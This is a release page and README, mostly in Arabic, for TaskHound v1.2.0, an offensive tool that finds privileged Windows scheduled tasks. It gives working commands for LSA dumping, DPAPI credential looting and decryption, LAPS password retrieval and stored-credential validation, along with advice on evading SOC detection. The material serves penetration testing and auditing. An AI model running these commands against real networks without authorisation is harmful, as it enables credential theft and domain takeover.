العودة إلى التحديثات
New releaseSep 3, 2026

TaskHound v1.2.0

أداة لتعداد المهام المجدولة ذات الامتياز على الأنظمة البعيدة

مشاركة

TaskHound Logo

أداة اكتشاف المهام المجدولة ذات الامتيازات في ويندوز للمتعة والربح.

Latest Release BloodHound OpenGraph Python 3.11+
Ask DeepWiki Twitter Blog


يقوم TaskHound بالبحث عن المهام المجدولة في ويندوز التي تعمل بحسابات ذات امتيازات وبيانات اعتماد مخزنة. يقوم بتعداد المهام عبر SMB، وتحليل ملفات XML، وتحديد فرص الهجوم عالية القيمة من خلال التكامل مع BloodHound.

للخلفية/القصة والشروحات التفصيلية: راجع منشورات المدونة المرتبطة - الجزء 1 والجزء 2.

الميزات الرئيسية

الميزةالوصف
كشف المستوى 0 والعالية القيمةيحدد تلقائيًا المهام التي تعمل كمسؤولي المجال ومسؤولي المؤسسة والحسابات الأخرى ذات الامتيازات
التكامل مع BloodHoundالاتصال بنسخ BHCE/قديمة أو استيراد الصادرات للكشف عن المستخدمين عالية القيمة
دعم OpenGraphتصور المهام المجدولة كعقد مسار هجوم في BloodHound CE
التكامل مع LAPSاسترداد واستخدام كلمات مرور LAPS تلقائيًا (كل من Windows LAPS والقديم) للمصادقة لكل مضيف
استخراج بيانات اعتماد DPAPIجمع وفك تشفير blobs DPAPI التي تحتوي على بيانات اعتماد المهام المخزنة
المسح متعدد الخيوطمعالجة الأهداف المتوازية مع تحديد المعدل للبيئات الكبيرة
كشف المستوى 0 المعتمد على LDAPكشف الحسابات ذات الامتيازات عبر عضوية المجموعة بدون BloodHound
التحقق من صحة بيانات الاعتمادالتحقق مما إذا كانت كلمات مرور المهام المخزنة لا تزال صالحة عبر RPC
التحليل دون اتصالمعالجة صور الأقراص المثبتة أو XMLs التي تم جمعها سابقًا
تنسيقات إخراج متعددةتقارير أمان نص عادي، JSON، CSV، وHTML مع تسجيل شدة الخطورة
حل SIDحل متعدد المستويات عبر BloodHound → Cache → LSARPC → LDAP → GC
التخزين المؤقتذاكرة تخزين مؤقتة دائمة قائمة على SQLite لعمليات بحث SID وبيانات اعتماد LAPS

بداية سريعة```bash

Install

git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .

Basic usage - single target

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple targets with threading

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10

Auto-discover all domain computers

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20

With LAPS - auto-retrieves per-host local admin passwords

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

Offline analysis of mounted disk image

taskhound --offline-disk /mnt/disk

> **دعم المصادقة**: يدعم TaskHound معظم آليات المصادقة الرئيسية بما في ذلك كلمة المرور، تجزئة NTLM، Kerberos (أيضًا مع ccache)، ومصادقة مفتاح AES.

## ملف التهيئة

يدعم TaskHound ملفات تهيئة بتنسيق TOML للإعدادات الدائمة. قم بإنشاء `taskhound.toml` في دليل العمل الخاص بك أو في `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"

[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30

[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}"      # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"

[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"

[laps]
enabled = true

[cache]
enabled = true
ttl = 86400  # 24 hours

الأولوية: CLI args > Environment variables > Local config > User config > Defaults

تكامل AdaptixC2

BOF الخاص بـ TaskHound مضمن في Adaptix Extension-Kit تحت SAR-BOF/taskhound/.

مخرجات العرض التوضيحي```

TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD

                 by 0xr0BIT

[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)

┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘

╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯

---

## تكامل BloodHound

يدعم TaskHound كلاً من **Legacy BloodHound** (Neo4j) و**BloodHound Community Edition (BHCE)** مع الكشف التلقائي عن التنسيق.

### الاتصال المباشر```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"

# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-user admin --bh-password password

# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
  --bh-user neo4j --bh-password password

أساليب الكشف من المستوى 0 (Tier 0)

المصدرطريقة الكشف
BHCEisTierZero, علامات النظام (admin_tier_0), AdminSDHolder
قديم (Legacy)AdminSDHolder (admincount=1), الكشف المستند إلى SID
LDAPاستعلامات عضويات المجموعة (--ldap-tier0)
مضمّن (Built-in)SIDs معروفة من المستوى 0 (مشرفي المجال، مشرفي المؤسسة، إلخ)

استيراد البيانات دون اتصال

إذا لم يكن الاتصال المباشر ممكنًا، قم بتصدير المستخدمين ذوي القيمة العالية باستخدام استعلامات Cypher التالية:

BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;

**إرث:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups

Then use: taskhound --bh-data exported_users.json ...


تصور مسار الهجوم OpenGraph

مسار هجوم OpenGraph

يقوم TaskHound بإنشاء عُقد وحواف مخصصة في BloodHound CE لتصور مسارات هجوم المهام المجدولة.

ما ستحصل عليه:

  • عُقد مخصصة: ScheduledTask مع أكثر من 20 خاصية (بيانات الاعتماد، المشغلات، تحليل كلمة المرور، حالة التحقق)
  • حواف مخصصة: HasTask, HasTaskWithStoredCreds, RunsAs
  • مسارات الهجوم: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash

Collect and auto-upload

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph

Generate without upload (saves to {output_dir}/opengraph/)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload

> **ملاحظة**: OpenGraph مخصص لـ BHCE فقط. الإصدار القديم من BloodHound لا يدعم أنواع العقد المخصصة.

---

## دمج LAPS

يمكن لـ TaskHound استرداد واستخدام كلمات مرور LAPS تلقائيًا للمصادقة لكل مضيف. يدعم كلاً من Windows LAPS (`msLAPS-Password`) و Legacy LAPS (`ms-Mcs-AdmPwd`)، بما في ذلك كلمات المرور المشفرة عبر MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin

# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps

أنواع LAPS المدعومة:

النوعالسمةمشفر
Windows LAPSmsLAPS-Passwordلا
Windows LAPSmsLAPS-EncryptedPasswordنعم (MS-GKDI)
Legacy LAPSms-Mcs-AdmPwdلا

استخراج بيانات اعتماد DPAPI

يقوم TaskHound باستخراج وفك تشفير بيانات اعتماد المهام المخزنة باستخدام DPAPI. تم تمكين سرقة DPAPI افتراضيًا.```bash

Step 1: Get DPAPI_SYSTEM key via LSA dump

nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa

Look for: DPAPI_SYSTEM userkey: 0x51e43225...

Step 2a: Loot + decrypt immediately (looting is default, just add key)

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...

Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local

Later:

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

Custom output directory

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected

Disable DPAPI looting explicitly

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot

> **Important**: كل مضيف لديه مفتاح DPAPI_SYSTEM فريد. لعمليات الفحص على أهداف متعددة، قم بجمع (افتراضيًا)، ثم فك تشفير كل هدف دون اتصال.

---

## التحقق من صحة بيانات الاعتماد

يقوم TaskHound بتقييم ما إذا كانت كلمات مرور المهام المخزنة لا تزال صالحة على الأرجح من خلال الاستعلام عن تاريخ تنفيذ المهام عبر RPC وتطبيق القواعد الاستدلالية. هذه الميزة **مفعلة افتراضيًا**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds

كيف يعمل

يسجل "مجدول مهام ويندوز" (Windows Task Scheduler) عمليات التنفيذ الناجحة فقط. يتم تجاهل حالات فشل المصادقة (كلمة مرور خاطئة، حساب مقفل، إلخ.) بصمت. المهمة ببساطة لا تُنفَّذ.

رؤية رئيسية: يتحقق ويندوز من بيانات الاعتماد عند وقت إنشاء المهمة. إذا حاولت إنشاء مهمة بكلمة مرور خاطئة، تحصل على ERROR_LOGON_FAILURE ولا يتم إنشاء المهمة. هذا يعني: إذا كانت مهمة تحتوي على بيانات اعتماد مخزنة موجودة، فإن كلمة المرور كانت صالحة عند وقت إنشاء المهمة.

يستخدم TaskHound الاستدلال التقديري لتقدير صلاحية بيانات الاعتماد:

الحالةالمعنى
CONFIRMED_VALIDكلمة المرور لم تتغير منذ إنشاء المهمة وتم تنفيذ المهمة ضمن الجدول المتوقع - تم تأكيد أن بيانات الاعتماد تعمل
HIGH_CONFIDENCE_VALIDكلمة المرور لم تتغير منذ إنشاء المهمة، لكن توقيت المشغل غير معروف (مثل مشغل الإقلاع) - من المحتمل أن بيانات الاعتماد صالحة
LIKELY_VALIDتغيرت كلمة المرور لكن المهمة نُفِّذت ضمن الجدول (تم تحديث بيانات الاعتماد)، أو تم تنفيذ المهمة بنجاح (وضع RPC فقط)
POSSIBLY_STALEكان يجب أن تُنفَّذ المهمة لكنها لم تُنفَّذ - قد يشير إلى بيانات اعتماد قديمة
DEFINITELY_STALEتغيرت كلمة المرور بعد آخر تشغيل ناجح - بيانات الاعتماد خاطئة بالتأكيد
NEVER_RAN_LIKELY_VALIDالمهمة لم تُنفَّذ أبداً، لكن كلمة المرور لم تتغير منذ الإنشاء - من المحتمل أنها صالحة (قد تفتقر إلى حقوق تسجيل الدخول الدفعي)
NEVER_RAN_POSSIBLY_STALEالمهمة لم تُنفَّذ أبداً، وتغيرت كلمة المرور بعد الإنشاء - من المحتمل أنها قديمة
NEVER_RAN_UNKNOWNالمهمة لم تُنفَّذ أبداً، لا يوجد سياق Active Directory - كانت صالحة عند الإنشاء، الحالة الحالية غير معروفة
UNKNOWNلا يمكن التحديد (حساب محظور، إلخ.)

الرؤية الرئيسية: مقارنة pwdLastSet من Active Directory مع LastRunTime من مجدول المهام تخبرنا إذا تغيرت كلمة المرور بعد آخر تشغيل ناجح. بالنسبة للمهام التي لم تُنفَّذ أبداً، مقارنة pwdLastSet مع task_creation_date تخبرنا إذا تغيرت كلمة المرور بعد إنشاء المهمة ببيانات اعتماد صالحة.

بدون بيانات Active Directory (مثل --no-ldap وبدون BloodHound): يعود TaskHound إلى وضع RPC فقط، باستخدام رمز الإرجاع ووقت آخر تشغيل فقط. التنفيذ الناجح يعيد LIKELY_VALID؛ لا يزال اكتشاف القدم بناءً على الجدول الزمني سارياً إذا كان فاصل المشغل معروفاً من XML المهمة.

ملاحظة: معطل عند استخدام --opsec أو --no-rpc.


تنسيقات الإخراج

يدعم TaskHound تنسيقات إخراج متعددة لحالات استخدام مختلفة. تستخدم جميع المخرجات هيكل دليل منظم تحت --output-dir (الافتراضي: ./output).

التنسيقات المتاحة

التنسيقالعلامةالوصفحالة الاستخدام
نص عادي-o plainإخراج وحدة التحكم قابل للقراءة البشرية (الافتراضي)الاستخدام التفاعلي، المراجعة السريعة
JSON-o jsonتصدير منظم قابل للقراءة آلياًالأتمتة، تحليل البيانات، البرمجة النصية
CSV-o csvتصدير متوافق مع جداول البياناتالتقارير، التصفية، تحليل Excel
HTML-o htmlتقرير أمني مع تقدير شدة المخاطرتدقيق الفرق الزرقاء، تقارير لأصحاب المصلحة

أمثلة الاستخدام```bash

Default - plain text to console + files

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple output formats

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html

JSON only for automation

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json

Custom output directory

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results

All formats for comprehensive audit

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit

### هيكل الدليل```
./output/                           # Base directory (--output-dir)
├── plain/                          # Plain text output
│   └── <hostname>/
│       └── tasks.txt
├── json/                           # JSON export
│   └── taskhound.json
├── csv/                            # CSV export
│   └── taskhound.csv
├── html/                           # HTML security reports
│   └── taskhound.html
├── opengraph/                      # BloodHound OpenGraph files
│   └── taskhound_data.json
└── raw_backups/                    # Raw collection (XML + DPAPI)
    └── <hostname>/
        ├── tasks/                  # Task XML files
        └── dpapi_loot/             # DPAPI credential blobs

تقارير أمان HTML

يُنتج مخرج HTML تقرير أمان شامل مصمم لتقييمات الفريق الأزرق:

  • تصنيف الخطورة: يتم تقييم المهام حسب مستوى الخطر بناءً على الامتياز وبيانات الاعتماد المخزنة والتكوين
  • تفاصيل المهمة: بيانات وصفية كاملة تتضمن المشغلات والإجراءات وحسابات التشغيل وحالة التحقق
  • التصفية: تصفية من جانب العميل حسب المضيف والخطورة وحالة بيانات الاعتماد
  • جاهز للتصدير: مناسب لتقارير الإدارة ووثائق التدقيق

مجموعة النسخ الاحتياطية

بشكل افتراضي، يحفظ TaskHound ملفات المهام الخام بصيغة XML وكتل بيانات اعتماد DPAPI للتحليل دون اتصال:```bash

Disable backup collection

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup

Analyze backups later (offline mode)

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

---

## المسح متعدد الخيوط

بالنسبة للبيئات الكبيرة، استخدم المسح المتوازي مع تحديد معدل:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5

# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20

# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90

# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0

تصفية الأهداف التلقائية

بشكل افتراضي، يطبق --auto-targets تصفية ذكية لتقليل الضوضاء والاتصالات الفاشلة:

الفلترالافتراضيالتجاوز
الحسابات المعطلةمستبعد--include-disabled
أجهزة الكمبيوتر القديمة (أكثر من 60 يومًا)مستبعد--stale-threshold 0 (تعطيل)
وحدات تحكم المجالمستبعد--include-dcs

أولوية مصدر البيانات: BloodHound (إذا تم تكوينه) → التراجع إلى LDAP

عند استخدام BloodHound، يقوم TaskHound بالاستعلام باستخدام include_properties=true لتعداد فعال باستعلام واحد. إذا كانت بيانات BloodHound أقدم من 7 أيام، يتم عرض تحذير؛ أكثر من 30 يومًا يؤدي إلى تحذير عاجل.

إعدادات الفلتر المسبقة:

  • servers - أنظمة تشغيل Windows Server فقط
  • workstations - أنظمة تشغيل غير خادمة فقط
  • (raw LDAP) - فلتر LDAP مخصص (يتطلب مصدر LDAP)

تحليل معرفات الأمان (SID)

يقوم TaskHound بحل معرفات SID إلى أسماء قابلة للقراءة باستخدام سلسلة تراجع متعددة المستويات:

  1. BloodHound (إذا كان متصلاً) - الأسرع، لا حركة مرور شبكة
  2. ذاكرة التخزين المؤقت - ذاكرة تخزين مؤقت دائمة SQLite (TTL افتراضي 24 ساعة)
  3. LSARPC - استعلام مباشر للهدف (الأكثر دقة للحسابات المحلية)
  4. LDAP - استعلام وحدة تحكم المجال
  5. الكتالوج العالمي - لمعرفات SID عبر المجالات/الغابات```bash

Separate LDAP credentials for SID resolution

taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local

Specify Global Catalog for multi-domain

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1

Disable all network-based resolution (OPSEC)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec

---

## التحليل دون اتصال

تحليل المهام دون الوصول إلى الشبكة:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local

# Mounted disk image
taskhound --offline-disk /mnt/disk

# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE

اعتبارات OPSEC

توفر TaskHound تحكمًا دقيقًا في عمليات الشبكة لتحقيق التوازن بين التخفي والوظائف.

تأثير البروتوكولات

البروتوكولالعملياتالعلم لتعطيل
SMBتعداد المهام (يُستخدم دائمًا)غير متاح
LDAP (389/636)حل SID, كشف Tier-0, pwdLastSet--no-ldap
Global Catalog (3268)حل SID عبر النطاق--no-ldap
LSARPC (SMB pipe)حل SID احتياطي--no-rpc
Remote Registry (SMB pipe)كشف Credential Guard--no-credguard
Task Scheduler RPC (SMB pipe)التحقق من بيانات الاعتماد--no-validate-creds
DPAPI file collection (SMB)جمع blobs بيانات اعتماد DPAPI--no-loot

سلسلة حل SID```

Default: BloodHound → Cache → LSARPC → LDAP → GC --no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC --opsec: BloodHound → Cache (only)

### السلوك الافتراضي

يكون TaskHound **مُزعِجًا جدًا بشكل افتراضي** - حيث يتم تمكين جميع الميزات لتحقيق أقصى قدر من الرؤية. وهذا يجعله مثاليًا للتدقيق والتقييمات الشاملة عندما لا تكون OPSEC مصدر قلق:

- **كشف حماية بيانات الاعتماد (Credential Guard)** - ممكّن افتراضيًا (تعطيل باستخدام `--no-credguard`)
- **التحقق من صحة بيانات الاعتماد** - ممكّن افتراضيًا (تعطيل باستخدام `--no-validate-creds`)
- **نهب DPAPI** - ممكّن افتراضيًا (تعطيل باستخدام `--no-loot`)
- **تحليل LDAP** - ممكّن افتراضيًا (تعطيل باستخدام `--no-ldap`)
- **عمليات RPC** - ممكّن افتراضيًا (تعطيل باستخدام `--no-rpc`)

> [!WARNING]
> **فحوصات حماية بيانات الاعتماد (Credential Guard) قابلة للكشف بدرجة عالية.** نظرًا لأن خدمة السجل عن بُعد (Remote Registry) متوقفة افتراضيًا على أنظمة Windows الحديثة، فإن TaskHound سيقوم بتشغيل الخدمة عن بُعد عبر SCM، وإجراء الفحوصات، ثم إيقافها (تمامًا مثل secretsdump). وهذا سيجعل أي مركز عمليات أمني (SOC) لائق يضيء مثل شجرة عيد الميلاد. **بالتأكيد استخدم `--no-credguard` إذا كنت تريد تجنب ذلك في المهام!**

بالحديث عن المهام: لعمليات الفريق الأحمر/التخفي، استخدم `--opsec` لتعطيل جميع الميزات المزعجة دفعة واحدة. (أو استخدم BOF).

### أمثلة الاستخدام```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec

# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5

# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap

# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc

# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps

أفضل الممارسات للتمويه

  1. تهيئة بيانات BloodHound مسبقًا - استيراد بيانات المجال أولاً باستخدام --bh-live
  2. استخدام العلم --opsec - تعطيل جميع العمليات المزعجة دفعة واحدة
  3. إضافة --jitter لتفاوت التوقيت - تجنب أنماط المسح المتوقعة
  4. جمع ملفات XML بوسائل أخرى - التحليل دون اتصال باستخدام --offline
  5. استخدام تنفيذ BOF - متوفر في AdaptixC2

مرجع سطر الأوامر الكامل

يستخدم TaskHound مكتبة Rich لإخراج وحدة التحكم المنسق مع جداول ملونة ومؤشرات تقدم.``` taskhound --help

<details>
<summary>انقر لتوسيع الاستخدام الكامل</summary>```
Usage: taskhound [OPTIONS] [TARGETS]

AUTHENTICATION OPTIONS
  -u, --username        Username (required for online mode)
  -p, --password        Password (omit with -k for Kerberos/ccache)
  -d, --domain          Domain (required for online mode)
  --hashes              NTLM hashes (LM:NT or NT-only)
  -k, --kerberos        Use Kerberos authentication
  --aes-key             AES key for Kerberos (32 or 64 hex chars)

TARGET OPTIONS
  -t, --target          Single target or comma-separated list
  --targets-file        File with targets, one per line
  --dc-ip               Domain controller IP
  --ns, --nameserver    DNS nameserver for lookups
  --timeout             Connection timeout in seconds (default: 5)
  --threads             Parallel worker threads (default: 10)
  --rate-limit          Max targets per second (default: unlimited)
  --jitter SECONDS      Random delay (0-N seconds) between hosts (OPSEC, sequential only)
  --dns-tcp             Force DNS over TCP (for SOCKS proxies)
  --auto-targets        Auto-discover targets (BloodHound first, LDAP fallback)
  --ldap-filter         Filter for auto-targets: 'servers', 'workstations', or raw LDAP
  --include-dcs         Include Domain Controllers in auto-targets
  --include-disabled    Include disabled computer accounts
  --stale-threshold     Exclude computers inactive >N days (default: 60, 0=disable)

SCANNING OPTIONS
  --offline             Parse XMLs from directory
  --offline-disk        Analyze mounted Windows filesystem
  --disk-hostname       Override hostname for offline-disk
  --bh-data             BloodHound export file for HV detection
  --opsec               Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
  --no-rpc              Disable RPC operations (LSARPC, CredGuard, validation)
  --include-ms          Include \Microsoft tasks
  --include-local       Include local system accounts
  --include-all         Include ALL tasks
  --unsaved-creds       Show tasks without stored credentials
  --no-credguard        Disable Credential Guard detection (default: enabled)
  --no-validate-creds   Disable credential validation (default: enabled)

BLOODHOUND OPTIONS
  --bh-live             Enable live BloodHound connection
  --bh-connector        BloodHound URI (default: http://127.0.0.1:8080)
  --bh-user             BloodHound username
  --bh-password         BloodHound password
  --bh-api-key          BloodHound API key
  --bh-api-key-id       BloodHound API key ID
  --bh-timeout          API query timeout (default: 120)
  --bhce                Use BHCE (Community Edition)
  --legacy              Use Legacy BloodHound (Neo4j)
  --bh-save             Save query results to file

OPENGRAPH OPTIONS (BHCE ONLY)
  --bh-opengraph        Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
  --bh-no-upload        Skip automatic upload
  --bh-force-icon       Force icon update
  --bh-icon             Icon name (default: clock)
  --bh-color            Icon color (default: #8B5CF6)
  --bh-allow-orphans    Create edges for missing nodes

DPAPI OPTIONS
  --no-loot             Disable DPAPI credential collection (default: enabled)
  --dpapi-key           DPAPI_SYSTEM userkey (hex format)

LDAP/SID RESOLUTION
  --no-ldap             Disable LDAP/GC operations
  --ldap-user           Alternative LDAP username
  --ldap-password       Alternative LDAP password
  --ldap-hashes         Alternative LDAP hashes
  --ldap-domain         Alternative LDAP domain
  --ldap-tier0          Enable LDAP-based Tier-0 detection
  --gc-server           Global Catalog server IP

LAPS OPTIONS
  --laps                Enable LAPS authentication
  --laps-user           Override local admin username
  --force-laps          Force LAPS in OPSEC mode

CACHE OPTIONS
  --cache-ttl           Cache TTL in seconds (default: 86400)
  --no-cache            Disable caching
  --clear-cache         Clear cache before run
  --cache-file          Cache file path

OUTPUT OPTIONS
  -o, --output          Output formats (comma-separated: plain,json,csv,html)
                        Default: plain
  --output-dir          Base output directory (default: ./output)
  --no-backup           Disable raw XML backup collection
  --no-summary          Disable summary table

  Output directory structure:
    ./output/
    ├── plain/<host>/tasks.txt    # Plain text output
    ├── json/taskhound.json       # JSON export
    ├── csv/taskhound.csv         # CSV export
    ├── html/taskhound.html       # HTML security report
    ├── opengraph/                # BloodHound OpenGraph files
    └── raw_backups/<host>/       # Raw XML + DPAPI files
        ├── tasks/                # Task XML files
        └── dpapi_loot/           # DPAPI credential blobs

MISC
  --verbose             Verbose output
  --debug               Debug output with stack traces

خارطة الطريق

عندما يتزامن استهلاك الكافيين ووقت الفراغ:

تم إكماله مؤخرًا

  • مصادقة مفتاح API - طلبات موقعة بـ HMAC-SHA256
  • دعم LAPS - Windows LAPS + Legacy + مشفر عبر MS-GKDI
  • معالجة متعددة الخيوط - مسح متوازٍ مع تحديد المعدل
  • التحقق من صحة بيانات الاعتماد - فحص صحة كلمة المرور عبر RPC
  • تنسيقات إخراج متعددة - عادي، JSON، CSV، HTML مع تخطيط دليل منظم
  • اكتشاف الأهداف تلقائيًا - تعداد أجهزة الكمبيوتر عبر LDAP
  • وضع القرص غير المتصل - تحليل صورة القرص المثبت
  • التخزين المؤقت المستمر - ذاكرة تخزين SQLite لبيانات SID/LAPS
  • إخراج وحدة تحكم غني - جداول ملونة ومؤشرات تقدم
  • دعم عبر النطاقات - بيئات متعددة النطاقات مع علاقات ثقة

مخطط له

  • تقسيم المراحل إلى وحدات: تحول هذا إلى وحش ضخم مع عدد كبير جدًا من المفاتيح. سأصلح ذلك.
  • دمج معلومات الاستغلال: تقنيات MITRE ATT&CK في عُقد BloodHound
  • تعيينات Tier-0 مخصصة: دعم لمناطق الامتياز التي يعرفها المستخدم في BHCE
  • فحوصات Linux: دعم لمسح أنظمة التشغيل المستندة إلى *nix

شكر وتقدير

ولكل من ساهم في جعل أدوات أمن الهجوم متاحة.


إخلاء مسؤولية

